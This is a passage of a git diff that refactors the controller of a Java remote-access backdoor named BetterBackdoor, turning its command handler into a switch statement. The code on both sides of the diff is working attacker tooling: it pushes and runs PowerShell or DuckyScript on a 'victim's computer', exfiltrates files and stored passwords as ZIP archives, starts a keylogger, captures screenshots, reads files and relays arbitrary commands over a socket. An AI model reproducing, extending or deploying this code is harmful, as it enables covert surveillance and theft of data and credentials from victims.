+ Shell.out.println("filesend " + file.getName());
+ FTP.shell(file.getAbsolutePath(), "send");
System.out.println(getResp());
- }
- } else if (command.equals("ps") || command.equals("ds")) {
- System.out.print("This will send a local ");
- if (command.equals("ps"))
- System.out.print("PowerShell script ");
- else
- System.out.print("DuckyScript");
- System.out.println(" to the victims computer, execute it, and delete it.");
- System.out.println("Enter local filepath of script:");
- File file = new File(BetterBackdoor.getInput("file"));
- System.out.println("Sending script...");
- Shell.out.println("filesend " + file.getName());
- FTP.shell(file.getAbsolutePath(), "send");
- System.out.println(getResp());
- System.out.println("Running script...");
- Shell.out.println(command + " " + file.getName());
- System.out.println(getResp());
- } else if (command.equals("exfiles")) {
- System.out.println(
- "This will copy files with desired extensions from a folder and all it's subfolders to a ZIP file, send the ZIP file to this computer, and delete the original ZIP file from the victim's computer.");
- System.out.println("Enter victim's directory to search through:");
- String root = BetterBackdoor.getInput("");
- Shell.out.println("filetype " + root);
- String filetype = getResp();
- if (filetype.equals("file")) {
- System.out.println("You entered a file. Invalid input.");
- } else if (filetype.equals("not real")) {
- System.out.println("No such directory");
- } else {
- System.out.println("Enter extensions of files separated by commas (i.e. txt,pdf,docx)");
- String exts = BetterBackdoor.getInput("");
- Shell.out.println("exfiles " + root + "*" + exts);
- System.out.println("Receiving files to '" + System.getProperty("user.dir") + File.separator + "gathered"
- + File.separator + "ExfiltartedFiles.zip'...");
- FTP.shell("gathered" + File.separator + "ExfiltratedFiles.zip", "rec");
+ System.out.println("Running script...");
+ Shell.out.println(command + " " + file.getName());
System.out.println(getResp());
+ break;
}
- } else if (command.equals("expass")) {
- Shell.out.println("expass");
- System.out.println("Receiving passwords to '" + System.getProperty("user.dir") + File.separator + "gathered"
- + File.separator + "ExfiltratedPasswords.zip'...");
- FTP.shell("gathered" + File.separator + "ExfiltratedPasswords.zip", "rec");
- System.out.println(getResp());
- } else if (command.equals("filesend")) {
- System.out.println("Enter local filepath of file to send:");
- String fileSend = BetterBackdoor.getInput("file");
-
- File file = new File(fileSend);
- if (file.isFile())
- System.out.println("Enter victim's filepath of file to receive:");
- else if (file.isDirectory()) {
- System.out.println("You entered a directory. It will be compressed and then sent.");
- System.out.println("Enter victim's filepath of ZIP file to receive:");
- } else
- System.out.println("No such file or directory");
+ case "exfiles": {
+ System.out.println(
+ "This will copy files with desired extensions from a folder and all it's subfolders to a ZIP file, send the ZIP file to this computer, and delete the" +
+ " original ZIP file from the victim's computer.");
+ System.out.println("Enter victim's directory to search through:");
+ String root = BetterBackdoor.getInput("");
+ Shell.out.println("filetype " + root);
+ String filetype = getResp();
+ if (filetype.equals("file")) {
+ System.out.println("You entered a file. Invalid input.");
+ } else if (filetype.equals("not real")) {
+ System.out.println("No such directory");
+ } else {
+ System.out.println("Enter extensions of files separated by commas (i.e. txt,pdf,docx)");
+ String exts = BetterBackdoor.getInput("");
+ Shell.out.println("exfiles " + root + "*" + exts);
+ System.out.println("Receiving files to '" + System.getProperty("user.dir") + File.separator + "gathered"
+ + File.separator + "ExfiltartedFiles.zip'...");
+ FTP.shell("gathered" + File.separator + "ExfiltratedFiles.zip", "rec");
+ System.out.println(getResp());
+ }
+ break;
+ }
+ case "expass":
+ Shell.out.println("expass");
+ System.out.println("Receiving passwords to '" + System.getProperty("user.dir") + File.separator + "gathered"
+ + File.separator + "ExfiltratedPasswords.zip'...");
+ FTP.shell("gathered" + File.separator + "ExfiltratedPasswords.zip", "rec");
+ System.out.println(getResp());
+ break;
+ case "filesend": {
+ System.out.println("Enter local filepath of file to send:");
+ String fileSend = BetterBackdoor.getInput("file");
- if (file.exists()) {
- String fileRec = BetterBackdoor.getInput("");
- Shell.out.println("filesend " + fileRec);
- if (file.isDirectory()) {
- Utils.zipDir(file.getAbsolutePath());
- FTP.shell(file.getAbsolutePath() + ".zip", "send");
+ File file = new File(fileSend);
+ if (file.isFile())
+ System.out.println("Enter victim's filepath of file to receive:");
+ else if (file.isDirectory()) {
+ System.out.println("You entered a directory. It will be compressed and then sent.");
+ System.out.println("Enter victim's filepath of ZIP file to receive:");
} else
- FTP.shell(file.getAbsolutePath(), "send");
- System.out.println(getResp());
- if (file.isDirectory())
- FileUtils.forceDelete(new File(file.getAbsolutePath() + ".zip"));
+ System.out.println("No such file or directory");
+
+ if (file.exists()) {
+ String fileRec = BetterBackdoor.getInput("");
+ Shell.out.println("filesend " + fileRec);
+ if (file.isDirectory()) {
+ Utils.zipDir(file.getAbsolutePath());
+ FTP.shell(file.getAbsolutePath() + ".zip", "send");
+ } else
+ FTP.shell(file.getAbsolutePath(), "send");
+ System.out.println(getResp());
+ if (file.isDirectory())
+ FileUtils.forceDelete(new File(file.getAbsolutePath() + ".zip"));
+ }
+ break;
}
- } else if (command.equals("filerec")) {
- System.out.println("Enter victim's filepath of file to send:");
- String fileSend = BetterBackdoor.getInput("");
+ case "filerec": {
+ System.out.println("Enter victim's filepath of file to send:");
+ String fileSend = BetterBackdoor.getInput("");
- Shell.out.println("filetype " + fileSend);
- String filetype = getResp();
- if (filetype.equals("file"))
- System.out.println("Enter local filepath of file to receive:");
- else if (filetype.equals("directory")) {
- System.out.println("You entered a directory. It will be compressed and then received.");
- System.out.println("Enter local filepath of ZIP file to receive:");
- } else
- System.out.println("No such file or directory");
+ Shell.out.println("filetype " + fileSend);
+ String filetype = getResp();
+ if (filetype.equals("file"))
+ System.out.println("Enter local filepath of file to receive:");
+ else if (filetype.equals("directory")) {
+ System.out.println("You entered a directory. It will be compressed and then received.");
+ System.out.println("Enter local filepath of ZIP file to receive:");
+ } else
+ System.out.println("No such file or directory");
- if (!filetype.equals("not real")) {
- String fileRec = BetterBackdoor.getInput("");
- Shell.out.println("filerec " + fileSend);
- FTP.shell(fileRec, "rec");
- System.out.println(getResp());
+ if (!filetype.equals("not real")) {
+ String fileRec = BetterBackdoor.getInput("");
+ Shell.out.println("filerec " + fileSend);
+ FTP.shell(fileRec, "rec");
+ System.out.println(getResp());
+ }
+ break;
}
- } else if (command.equals("keylog")) {
- Shell.out.println("cmd echo %CD:~0,2%");
- String currentDrive = getResp();
- Shell.out.println("cmd echo %USERNAME%");
- String currentUser = getResp();
+ case "keylog":
+ Shell.out.println("cmd echo %CD:~0,2%");
+ String currentDrive = getResp();
+ Shell.out.println("cmd echo %USERNAME%");
+ String currentUser = getResp();
- String logFileDir = "C:\\Users\\" + currentUser + "\\AppData\\Gathered";
- if (!currentDrive.equals("C:")) {
- System.out.println("The backdoor is running from drive " + currentDrive.substring(0, 1)
- + ". Where should keys be logged?");
- System.out.println("[0] " + logFileDir + "\\keys.log");
- System.out.println("[1] " + currentDrive + "\\keys.log");
- String dirChoice = BetterBackdoor.getInput("op01");
- if (dirChoice.equals("1"))
- logFileDir = currentDrive;
- }
- Shell.out.println("keylog " + logFileDir);
- System.out.println(getResp());
- } else if (command.equals("ss")) {
- Shell.out.println("ss");
- System.out.println("Receiving screenshot to '" + System.getProperty("user.dir") + File.separator
- + "gathered" + File.separator + "screenshot.png'...");
- FTP.shell("gathered" + File.separator + "screenshot.png", "rec");
- System.out.println(getResp());
- } else if (command.equals("cat")) {
- System.out.println("Enter victim's filepath of file to get contents of:");
- Shell.out.println("cat " + BetterBackdoor.getInput(""));
- System.out.println(getResp());
- } else if (command.equals("zip")) {
- System.out.println("Enter victim's filepath of directory to compress:");
- Shell.out.println("zip " + BetterBackdoor.getInput(""));
- System.out.println(getResp());
- } else if (command.equals("unzip")) {
- System.out.println("Enter victim's filepath of ZIP file to decompress:");
- Shell.out.println("unzip " + BetterBackdoor.getInput(""));
- System.out.println(getResp());
- } else if (command.equals("exit"))
- System.exit(0);
- else {
- Shell.out.println(command);
- System.out.println(getResp());
+ String logFileDir = "C:\\Users\\" + currentUser + "\\AppData\\Gathered";
+ if (!currentDrive.equals("C:")) {
+ System.out.println("The backdoor is running from drive " + currentDrive.substring(0, 1)
+ + ". Where should keys be logged?");
+ System.out.println("[0] " + logFileDir + "\\keys.log");
+ System.out.println("[1] " + currentDrive + "\\keys.log");
+ String dirChoice = BetterBackdoor.getInput("op01");
+ if (dirChoice.equals("1"))
+ logFileDir = currentDrive;
+ }
+ Shell.out.println("keylog " + logFileDir);
+ System.out.println(getResp());
+ break;
+ case "ss":
+ Shell.out.println("ss");
+ System.out.println("Receiving screenshot to '" + System.getProperty("user.dir") + File.separator
+ + "gathered" + File.separator + "screenshot.png'...");
+ FTP.shell("gathered" + File.separator + "screenshot.png", "rec");
+ System.out.println(getResp());
+ break;
+ case "cat":
+ System.out.println("Enter victim's filepath of file to get contents of:");
+ Shell.out.println("cat " + BetterBackdoor.getInput(""));
+ System.out.println(getResp());
+ break;
+ case "zip":
+ System.out.println("Enter victim's filepath of directory to compress:");
+ Shell.out.println("zip " + BetterBackdoor.getInput(""));
+ System.out.println(getResp());
+ break;
+ case "unzip":
+ System.out.println("Enter victim's filepath of ZIP file to decompress:");
+ Shell.out.println("unzip " + BetterBackdoor.getInput(""));
+ System.out.println(getResp());
+ break;
+ case "exit":
+ System.exit(0);
+ default:
+ Shell.out.println(command);
+ System.out.println(getResp());
+ break;
}
}
@@ -166,13 +185,13 @@ else if (filetype.equals("directory")) {
* @return response from client
*/
private static String getResp() {
- String resp = "";
+ StringBuilder resp = new StringBuilder();
while (Shell.in.hasNextLine()) {
String line = Shell.in.nextLine();
if (line.equals("!$end$!"))
break;
- resp += line + "\n";
+ resp.append(line).append("\n");
}
- return resp.substring(0, resp.length() - 1);
+ return resp.toString().substring(0, resp.length() - 1);
}
}
\ No newline at end of file
diff --git a/src/main/java/com/thatcherdev/betterbackdoor/shell/Shell.java b/src/main/java/com/thatcherdev/betterbackdoor/shell/Shell.java
index 5f25042..8b86aae 100644
--- a/src/main/java/com/thatcherdev/betterbackdoor/shell/Shell.java
+++ b/src/main/java/com/thatcherdev/betterbackdoor/shell/Shell.java
@@ -10,7 +10,6 @@
public class Shell {
- private static ServerSocket serverSocket;
private static Socket socket;
public static Scanner in;
public static PrintWriter out;
@@ -19,13 +18,13 @@ public class Shell {
* Starts shell to control backdoor.
*
* Creates server on port 1025 for client to connect to. Once client has
- * connected, starts an infinite loop that gets command {@link command} from
- * user and handles it with {@link HandleCommand#handle(command)}.
+ * connected, starts an infinite loop that gets command {@code command} from
+ * user and handles it with {@link com.thatcherdev.betterbackdoor.shell.HandleCommand#handle}.
*/
public static void start() {
System.out.println("Connecting...\n");
try {
- serverSocket = new ServerSocket(1025);
+ ServerSocket serverSocket = new ServerSocket(1025);
socket = serverSocket.accept();
in = new Scanner(socket.getInputStream());
out = new PrintWriter(socket.getOutputStream(), true);
@@ -48,7 +47,7 @@ public static void start() {
in.close();
if (out != null)
out.close();
- } catch (Exception e) {
+ } catch (Exception ignored) {
}
}
}